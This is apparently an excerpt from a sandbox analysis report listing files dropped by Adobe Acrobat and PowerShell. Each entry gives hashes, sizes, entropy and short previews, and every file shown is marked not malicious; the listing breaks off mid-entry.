SHA-512:	C6ED87B9A3177F7A0DC4102BA374FF018063B503F425D4C093677B8F95DCA0A45388E48D38DDBC2BABC5158C1EC463AE8739D0AF973279546ECA396E113D4036
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2905334908753945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJfbPtdPeUkwRe9:YvXKXL4Zc0vBLqGDV8Ukee9
MD5:	B79FA3B08B87BB9FF8451DEC518D2C3A
SHA1:	FA343259A3D8B3D03BC5BA39CA2F33CC63DB7E1D
SHA-256:	DBDA6A3B19A6DC1C5B2615E6EF23D2FAC026103252C7A586D144727D1836F1F3
SHA-512:	30257B7C5662CC3B575FB6E6C6BCF80D01405E7D45FB8F034399D43905045A2D189FD641BA0B63949182DD2700EA513290C1F1E53F97E02B54BDF3A20801251B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.295282314845439
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJf21rPeUkwRe9:YvXKXL4Zc0vBLqG+16Ukee9
MD5:	F031736BA5FD51BCBDC8A1508F77AAC5
SHA1:	97409C23A3E13BDE8C61E34E87DAAAE0E1DDF21F
SHA-256:	02E555C6988D225348E7606229F32E148E3B482FCC37074992584ECBE21BC6C5
SHA-512:	10DFD29984D0921B1014F168394F04AD4DA5CC87DC0C8F4E31A8237FEB9A268677D4BA6909FF2A97B41AE94A88A3402D755E2D71F47BB5A72CADE0257C20212C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665668957566062
Encrypted:	false
SSDEEP:	24:Yv6XL4zvBLfamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSH:YvAAl3BgkDMUJUAh8cvMH
MD5:	E57BCBE0F51F4CAF24D00DEB72453510
SHA1:	44A1D297CAC996BECAB504FDC66BE85276582109
SHA-256:	E85DC2E57437F906A32BB46326C59D4F43586F28047376F168ED748AC0918247
SHA-512:	3D1673F6F190F286692984D63CB26F75B6D836BB9C2F373B80792B74D39A9FADB4840A36D755BC4BFA6B0065578CFEF57F41F43D53607E868906D426A77A8481
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.273238716058793
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJfshHHrPeUkwRe9:YvXKXL4Zc0vBLqGUUUkee9
MD5:	4E3B87648A0AB0E7605641E5E5076CAC
SHA1:	B20803796B539428919E426556320DF4FFA32780
SHA-256:	E6E8A77FE4297E1201535040CFE48CC0BF955C8787324D06E86E554058E60CB5
SHA-512:	303C80A3B1CD8CD40DD655CCADF2B3802B1E1886C150E3912FDB7132A1903DC58E7BFF65CBB453C9626B8407D6E2607EC6C5E03A802B100C8DE14EB7075ECBE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.281651103820619
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQF6vhVoZcg1vRcR0Y2L1oAvJTqgFCrPeUkwRe9:YvXKXL4Zc0vBLqGTq16Ukee9
MD5:	763CEB5D04F1EF7A4F15D2BB38C9F5BC
SHA1:	B10A23E6F3064D2BA56BF0F02CEBB76490C3ED09
SHA-256:	FA6F973AEE825C5DE68CFABCB04486E4EC1E9A8DDFF488F860C378FC35B175C1
SHA-512:	1196C2BED4C391E29BE6DC29178D2F812B12E2001B409794E5654AEFFFD6A5A286EB3F3E9D5C90CBD25F0E6DC3E39313DC012633DC9C9A8B9B64D57A2FC2B7E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"851a98cc-f80a-4923-b86c-bfceceb27018","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740735589,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143675290798808
Encrypted:	false
SSDEEP:	24:YDaIZnaynwMPUHERIhQyJ0v1eVyl/TVyPj0uSj0S/zdfLfOC2q2LS/RCXKQ65BWj:YDqtHNpw5Twfkp3LT8zwBMMay9G9dZ
MD5:	3DAF1D8C0299CD04A8BDA2D3745EF1C4
SHA1:	7439987D3ADEB8090BB580888B3375E84D60D140
SHA-256:	C0E0B667538B48975DD5A9DBEB49467ACC433BD551517AF27E978EB32433FAA9
SHA-512:	AC33C42E6B840C681988F2AC78FA7961DD21E050FD63CF1518BF62E4F3D2CFF2718378089A4CC72A8EBE196836EFE7A20561CAB271AF3C28C06F02E676B89BF0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"69bed8c283cc4d18aba0047f09934f28","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736562640000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"402cf542b86b5b577f792f52428b1022","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736562640000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"98cc6cd81fcebcfe7e89ac061ec0350d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736562639000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c841f3ca4f8d4a0409c12e79b472bfa8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736562639000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"598bc323245907cce7e9f98dbfcf376d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736562639000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c1eb4deae45db1aca5b0a4fb7260ca72","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1886139178259194
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUZSvR9H9vxFGiDIAEkGVvpJ:lNVmswUUUUUUUUZ+FGSItd
MD5:	8AB309E3DFBB87C00215DC883ACF53E5
SHA1:	5B553690EF4921E23F525513965A52318D6A6E32
SHA-256:	A1952719EABC4945E10810158696A8C1CCD866688E44510FEAF7B5C6EE1A0189
SHA-512:	F544578C1548D418AF73D46FECE9C32EA6F075CD6996FB5826A8A524C29800017EEFB4FAA32C015CA3A559D81D01FCABF0C565B703D428B5E9590D73D6681310
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6082770668870898
Encrypted:	false
SSDEEP:	48:7MhKUUUUUUUUUURvR9H9vxFGiDIAEkGVvyqFl2GL7msD:7/UUUUUUUUUUVFGSIt0KVmsD
MD5:	BFCA4EFCA127B9C1F51EA07F0F6B641E
SHA1:	C19C16BA8A303B9725241B1766EC3FC90E098DB8
SHA-256:	DBF691ACC9AF53088BA11741DF230C3F0152FDEEA2198E854202DC4567671E8F
SHA-512:	279875A67364747C41C9D58C3BBEEE3DF8578ABE524F13EFC4A4412EA39A60B3167A0B59C274EA9F3A693253EBA55D8A51243A236AA87BA983471DA72FC3CD5A
Malicious:	false
Preview:	.... .c.......u......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEggulQgBLIwBScwWvF7Q1QhkmwiYyu:6a6TZ44ADEplFLIwBV4DiK
MD5:	4B8EB936ABD1200F02ED23F741E2E81F
SHA1:	FA3684C31FA04DF501086F4A23896A640A0E5F19
SHA-256:	C7EBF757095EE86F3B9CD235CA12BCEE0392B6E5A9EB8AD228575DDD8DC65E08
SHA-512:	6D4420D7C7A30765646C6E204244E58DAEE0CC13BE7BABEA52FDEB083B325A7F5CD8F5729D0E874BC75ADC366ADAC11089B49BA96CDAFC0CF405A083107FB20B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI42e6a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsCUf9:Qw946cPbiOxDlbYnuRK+bR
MD5:	932F6ABAA28D267AB6A9EC3294070A42
SHA1:	E86A5DCD0AFFF9EE20FFCA9E9BB26AD8091EF97D
SHA-256:	596C7107AE080388AD50A582DC56A8A0B01C62FA1D968A9D21E7076AB098FD29
SHA-512:	B3A0DC969852CF7066BC748D66F4DCA4BCD6F93544F7472E079D6BCC922D498A268F5DB5E25CF977F376D5F8FBD5AAFE58E491E6105B8514CAB7A3B3142F8797
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.3.0.:.3.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1rykgcp.5uy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_htgwm1p0.ktx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A919l72xe_1rffx50_644.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-30-33-267.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3314256351816995
Encrypted:	false
SSDEEP:	384:HFJmdmAmdmdJVEJVUOJVQJVjJVTJV+JVQJVVkyRVKV1PmPAc2cguNuluaul5E8Iz:QW+aKjT0yXy
MD5:	AE2C9D43891EBF813C34A30D528F34C9
SHA1:	9918B503F36B5482F41CE361251DE5361A6C3AED
SHA-256:	A79A6FBF1777D7C4E45D1E0396D0B4769AA5DD370140CBCAF06A1C43FE64E6FC
SHA-512:	46F27BFA2E30A0E055E5596F932E491F61F6B9961F9D4E365728993BBF7FFD4EF8607CC6AC021655598B48BA8A7EC50CCA6A65084074D11A3B5F81928F765A55
Malicious:	false
Preview:	SessionID=e5dc4eb9-3d12-4db5-b0ee-3f2019c36f6e.1736562633297 Timestamp=2025-01-10T21:30:33:297-0500 ThreadID=7752 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e5dc4eb9-3d12-4db5-b0ee-3f2019c36f6e.1736562633297 Timestamp=2025-01-10T21:30:33:298-0500 ThreadID=7752 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e5dc4eb9-3d12-4db5-b0ee-3f2019c36f6e.1736562633297 Timestamp=2025-01-10T21:30:33:298-0500 ThreadID=7752 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e5dc4eb9-3d12-4db5-b0ee-3f2019c36f6e.1736562633297 Timestamp=2025-01-10T21:30:33:298-0500 ThreadID=7752 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e5dc4eb9-3d12-4db5-b0ee-3f2019c36f6e.1736562633297 Timestamp=2025-01-10T21:30:33:298-0500 ThreadID=7752 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.387875630232697
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rk:rs
MD5:	6F8FAEB4C6D9B697A58EEE231A50D8AC
SHA1:	F22015AC24458A6163E246853935A164AD929E49
SHA-256:	B2FB95459599FB1BDC7FDA2C0E6663F85426176C941EF117C15DA54A3CBC6159
SHA-512:	8BAF6CF648D00DA694A25830AAD36C5C612E1FB3C3FA533A2ACCBEAE338066DFA3EFAFD7CF8830EDE85B51AEFFB608F0A1DDDBD67B52A3F8C0A35DC2829E07EF
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\12f87f6d-e0ed-4363-9a4e-2ba8e5c1bacd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xLtwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JJwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	D38CB76360DDA78820460E5C5F20061C
SHA1:	F2B65831130B70F2A3DC345F70C4BEEDE9AB40E8
SHA-256:	55E70B5D5F8BE28D648BCDFE7DEB02BF4BBE2F626D620D4D838E0FA4FBF45F8E
SHA-512:	5E31738169A6FE92062B0E582489DEEAC2FA1798965DED94EFA994965470A15B5095851701E4DF631C5EC4454913272F1156EC46B32DA782D3C0F9E490C129A1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\256d0e29-d1c3-4548-ae45-75d6d37b06f3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
